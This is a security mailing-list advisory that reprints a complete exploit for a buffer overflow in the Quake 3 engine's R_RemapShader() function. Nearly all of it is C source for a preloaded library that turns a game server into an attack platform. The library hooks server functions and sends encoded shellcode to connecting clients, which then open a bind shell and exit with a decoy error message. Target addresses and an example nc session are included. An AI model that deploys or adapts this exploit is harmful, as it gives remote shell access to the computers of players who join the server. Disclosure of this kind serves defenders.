[EXPL] Quake 3 Buffer Overflow (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Quake 3 Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.idsoftware.com/> Quake 3 is a 3D shootout game.

Improper length validation allows attackers to execute arbitrary code by 
using the Quake 3 client.

DETAILS

Exploit:
// remap_this.c - "R_RemapShader()" q3 engine 1.32b client remote bof 
exploit
// by landser - landser at hotmail.co.il
//
// this code works as a preloaded shared library on a game server,
// it hooks two functions on the running server:
// svc_directconnect() that is called when a client connects,
// and sv_sendservercommand() which we use to send malformed "remapShader" 
commands to clients.
// vuln clients connecting to the server will bind a shell on a chosen 
port (#define PORT) and exit cleanly with an unsuspicious error message.
//
// vuln: latest linux clients of ET, rtcw, and q3 on boxes with +x stack 
(independent of distro)
// (win32 clients are vuln too but not included here)
//
// usage:
// gcc remap_this.c -shared -fPIC -o remap_this.so
// and run a server with env LD_PRELOAD="./remap_this.so"
//
// -----------------------------------------------------
// [luser@box ~/wolfenstein]$ LD_PRELOAD="./remap_this.so" ./wolfded.x86 
+set net_port 5678 +map mp_beach
// remap_this.c by landser - landser at hotmail.co.il
//
// game: RtCW 1.41 Dedicated.
// [...]
// directconnect(): 10.0.0.4 connected
// sendservercommand() called
// sendservercommand() called
// sendservercommand() called
// [...]
// [luser@box ~/wolfenstein]$ nc 10.0.0.4 27670 -vv
// sus4 [10.0.0.4] 27670 (?) open
// id
// uid=1000(luser) gid=100(lusers)
// -----------------------------------------------------
//
// visit www.nixcoders.org for open source linux cheats

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#include <sys/mman.h>

#define SILENT // hide the crappy server output
#define PORT 27670 // bindshell port. some values are invalid

struct netaddr { // from q3-1.32b/qcommon/qcommon.h
 int type;
 unsigned char ip[4];
 unsigned char ipx[10];
 unsigned short port;
};

struct {
 char *name;
 char *fn;
 unsigned long retaddr; // something that jumps to %esp
 unsigned long sendservercommand; // address of sv_sendservercommand()
 unsigned long directconnect; // address of svc_directconnect()
 int hooklen; // for both sendservercommand and directconnect
 unsigned long errormsg; // address of error string
 unsigned long comerror; // address of com_error()
 int popas; // num of popa instructions before shellcode
 int gap; // gap between %esp to %eip when prog gets to the last shellcode 
instruction
} games[] = {
 {"ET 2.60 Dedicated",  "etded",
  0x081b4133, 0x08056c10, 0x0804e880, 6, 0x081a6a65, 0x0806a1a0, 14, 12},
 {"RtCW 1.41 Dedicated",  "wolfded",
  0x080c4356, 0x0805ee94, 0x08058740, 9, 0x08187772, 0x080a87e8, 14, 12},
 {"Quake 3 1.32b Dedicated", "q3ded",
  0x080a200b, 0x0805fa68, 0x08059884, 9, 0x08167635, 0x08094688, 11, 27},
};

const int ngames = sizeof(games) / sizeof(games[0]);
const unsigned short int port = PORT;

static void *hook (void *, int, void *);
static void sendservercommand (void *, const char *, ...);
static void directconnect (struct netaddr);
static void writebuf (void);

void (*_sendservercommand)(void *, const char *, ...);
void (*_directconnect)(struct netaddr);

int c = -1;
unsigned char buf[1024];

// shellcode (286 bytes):
// fork()s,
// the parent proc calls com_error() with an error message (errormsg var),
// the child proc binds a shell on a chosen port
// unallowed chars: 0x00, 0x22, 0x2e, 0x5c, >=0x80
unsigned char sc[] =
 "\x68\x03\x5a\x70\x50\x58\x05\x01\x01\x7b\x71\x50\x68\x57\x50\x7f\x69"
 "\x58\x05\x01\x7d\x01\x01\x50\x68\x70\x30\x6a\x06\x58\x66\x05\x7b\x76"
 "\x50\x68\x54\x5b\x52\x53\x68\x2f\x62\x69\x6e\x68\x2f\x73\x68\x68\x68"
 "\x0b\x58\x68\x2f\x68\x48\x78\x79\x69\x58\x05\x01\x01\x7f\x01\x50\x68"
 "\x3e\x57\x50\x01\x58\x05\x01\x01\x7d\x7f\x50\x68\x75\x1c\x59\x6a\x68"
 "\x50\x01\x48\x40\x58\x66\x05\x7d\x7f\x50\x68\x5b\x6a\x02\x58\x68\x7f"
 "\x50\x53\x58\x58\x66\x40\x50\x68\x69\x65\x57\x50\x58\x05\x01\x01\x01"
 "\x7d\x50\x68\x57\x54\x59\x43\x68\x7f\x5f\x50\x50\x58\x66\x40\x50\x68"
 "\x69\x65\x57\x50\x58\x05\x01\x01\x01\x7d\x50\x68\x7f\x6a\x04\x5b\x58"
 "\x66\x40\x50\x68\x69\x65\x57\x50\x58\x05\x01\x01\x01\x7d\x50\x68\x51"
 "\x50\x54\x59\x68\x45\x55\x6a\x10\x68\x5b\x0e\x50\x44\x58\x05\x02\x01"
 "\x7d\x01\x50" "PORT" "\x66\x68\x5b\x5d\x52\x66\x68\x53\x58\x50\x01"
 "\x58\x05\x01\x01\x7d\x7f\x50\x68\x52\x53\x6a\x02\x68\x4a\x6a\x01\x5b"
 "\x68\x58\x6a\x01\x5a\x68\x07\x50\x6a\x66\x58\x66\x05\x01\x73\x50\x68"
 "\x67" "CM1" "\x58\x05\x01" "CM2" "\x50\x68\x6a\x02\x6a\x01\x68" "ERRM"
 "\x68\x40\x74\x0f\x68\x68\x57\x50\x7f\x47\x58\x05\x01\x7d\x01\x01\x50"
 "\x68\x41\x41\x6a\x02\x74\x0c\x75\x0a";

void __attribute__ ((constructor)) init (void) {
 char buf[256];
 int ret;
 
 printf("remap_this.c by landser - landser at hotmail.co.il\n\n");

 ret = readlink("/proc/self/exe", buf, sizeof buf);
 if (ret < 0) {
  perror("readlink()");
  exit(EXIT_FAILURE);
 }
 buf[ret] = '\0';

 for (c=0;c<ngames;c++)
  if (strstr(buf, games[c].fn)) break;
 
 if (c == ngames) {
  printf("binary doesnt match any of the targets.\n");
  exit(EXIT_FAILURE);
 }
 
 printf("game: %s.\n\n", games[c].name);

 writebuf();

 _sendservercommand = hook((void *)games[c].sendservercommand, 
games[c].hooklen, &sendservercommand);
 _directconnect = hook((void *)games[c].directconnect, games[c].hooklen, 
&directconnect);
}

int fputs (const char *s, FILE *fp) {
 static int (*_fputs)(const char *, void *);
 if (!_fputs) _fputs = dlsym(RTLD_NEXT, "fputs");

#ifdef SILENT
 if (strncmp(s, "---", 3)) return 1;
#endif

 return _fputs(s, fp);
}

static void sendservercommand (void *client, const char *fmt, ...) {
 printf("sendservercommand() called\n");
 _sendservercommand(client, "%s", buf);
}

static void directconnect (struct netaddr addr) {
 printf("directconnect(): %d.%d.%d.%d connected\n",
  addr.ip[0], addr.ip[1], addr.ip[2], addr.ip[3]);
 _directconnect(addr);
}

static void writebuf (void) {
 unsigned char *cm1, *cm2, *ptr = buf;
 int i, b;

 strcpy(ptr, "remapShader ");
 if (strstr(games[c].name, "Quake")) strcat(ptr, "j w ");
 strcat(ptr, "\"");
 ptr += strlen(ptr);

 memset(ptr, '\b', 76);
 ptr += 76;

 memcpy(ptr, &games[c].retaddr, 4);
 ptr += 4;

 if (strstr(games[c].name, "Quake")) {
  // replaces %ebp with %esp without using the stack
  memcpy(ptr, "\x33\x2f\x31\x2f\x31\x27\x33\x27\x31\x27", 10);
  ptr += 10;
 }

 memset(ptr, 0x61, games[c].popas); // 'popa' instructions
 ptr += games[c].popas;

 memcpy(ptr, sc, sizeof(sc));
 
 memset(ptr + strlen(ptr) - 3, games[c].gap, 1);
 memset(ptr + strlen(ptr) - 1, games[c].gap - 2, 1);

 cm1 = strstr(ptr, "CM1");
 cm2 = strstr(ptr, "CM2");
 if (!cm1 || !cm2) abort();
 
 for (i=0;i<3;i++) {
  b = (games[c].comerror >> (8*i)) & 0xff;
  
  if ((b-1) >= 0x7f) {
   cm1[i] = 0x6b;
   cm2[i] = b - 0x6b;
  }
  else {
   cm1[i] = b - 1;
   cm2[i] = 1;
  }
 }

 ptr = strstr(ptr, "PORT");
 if (!ptr) abort();
 memcpy(ptr, "\x68\x68", 2); // 68 - pushl imm32
 memcpy(ptr+2, &port, sizeof port);
 
 ptr = strstr(ptr, "ERRM");
 if (!ptr) abort();
 memcpy(ptr, &games[c].errormsg, 4);

 strcat(ptr, "\"");
 if (!strstr(games[c].name, "Quake")) strcat(ptr, " j w");
}

#define PAGE(x) (void *)((unsigned long)x & 0xfffff000)

static void *hook (void *hfunc, int len, void *wfunc) {
        void *newmem = malloc(len+5);
 long rel32;

 // copy 'len' bytes of instruction from 'hfunc' to 'newmem' and a 'jmp 
*hfunc' instruction after it
        memcpy(newmem, hfunc, len);
 memset(newmem+len, 0xe9, 1); // e9 - jmp rel32
 rel32 = hfunc - (newmem+5);
 memcpy(newmem+len+1, &rel32, sizeof rel32);

 // make 'hfunc's address writable & executable
 mprotect(PAGE(hfunc), 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
        
 // change the start of 'hfunc' to a 'jmp *wfunc' instruction
 memset(hfunc, 0xe9, 1); // e9 - jmp rel32
        rel32 = wfunc - (hfunc+5);
 memcpy(hfunc+1, &rel32, sizeof rel32);

        return newmem;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> landser.
The original article can be found at:  <http://milw0rm.com/exploits/1750> 
http://milw0rm.com/exploits/1750



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.